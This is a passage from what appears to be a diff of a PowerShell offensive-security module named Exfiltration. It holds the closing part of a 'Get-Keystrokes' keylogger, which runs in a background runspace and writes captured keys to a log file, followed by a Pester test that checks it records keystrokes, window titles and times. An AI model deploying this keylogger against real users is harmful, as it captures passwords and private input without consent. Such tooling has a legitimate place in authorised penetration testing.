$UnhookWindowsHookEx.Invoke($Hook)
|
||||||
} | Out-Null
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
# Setup KeyLogger's runspace
|
||||||
|
$PowerShell = [PowerShell]::Create()
|
||||||
|
[void]$PowerShell.AddScript($Script)
|
||||||
|
[void]$PowerShell.AddArgument($LogPath)
|
||||||
|
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
|
||||||
|
|
||||||
|
# Start KeyLogger
|
||||||
|
[void]$PowerShell.BeginInvoke()
|
||||||
|
|
||||||
|
if ($Return.IsPresent) { return $PowerShell }
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,55 @@
|
||||||
|
Set-StrictMode -Version Latest
|
||||||
|
|
||||||
|
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||||
|
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
|
||||||
|
$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
|
||||||
|
|
||||||
|
Remove-Module [E]xfiltration
|
||||||
|
Import-Module $ModuleManifest -Force -ErrorAction Stop
|
||||||
|
|
||||||
|
Describe 'Get-Keystrokes' {
|
||||||
|
|
||||||
|
if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
|
||||||
|
$WindowTitle = (Get-Process -Id $PID).MainWindowTitle
|
||||||
|
|
||||||
|
$Shell = New-Object -ComObject wscript.shell
|
||||||
|
$Shell.AppActivate($WindowTitle)
|
||||||
|
|
||||||
|
$KeyLogger = Get-Keystrokes -Return
|
||||||
|
Start-Sleep -Seconds 1
|
||||||
|
|
||||||
|
$Shell.SendKeys('Pester is SUPER l337!')
|
||||||
|
$KeyLogger.Dispose()
|
||||||
|
|
||||||
|
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
|
||||||
|
|
||||||
|
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
|
||||||
|
|
||||||
|
It 'Should log all keystrokes' {
|
||||||
|
$Keys = $KeyObjects | % { $_.TypedKey }
|
||||||
|
$String = -join $Keys
|
||||||
|
$String | Should Be '<Shift>Pester< >is< ><Shift>S<Shift>U<Shift>P<Shift>E<Shift>R< >l337<Shift>!'
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should get foreground window title' {
|
||||||
|
$KeyObjects[0].WindowTitle | Should Be $WindowTitle
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should log time of key press' {
|
||||||
|
$KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
|
||||||
|
$KeyTime.GetType().Name | Should Be 'DateTime'
|
||||||
|
}
|
||||||
|
|
||||||
|
It 'Should stop logging Pester is SUPER l337!after timeout' {
|
||||||
|
|
||||||
|
$Timeout = 0.05
|
||||||
|
$KeyLogger = Get-Keystrokes -Timeout $Timeout -Return
|
||||||
|
|
||||||
|
Start-Sleep -Seconds 4
|
||||||
|
|
||||||
|
$KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
|
||||||
|
$KeyLogger.Dispose()
|
||||||
|
}
|
||||||
|
|
||||||
|
Remove-Item -Force "$($env:TEMP)\key.log"
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue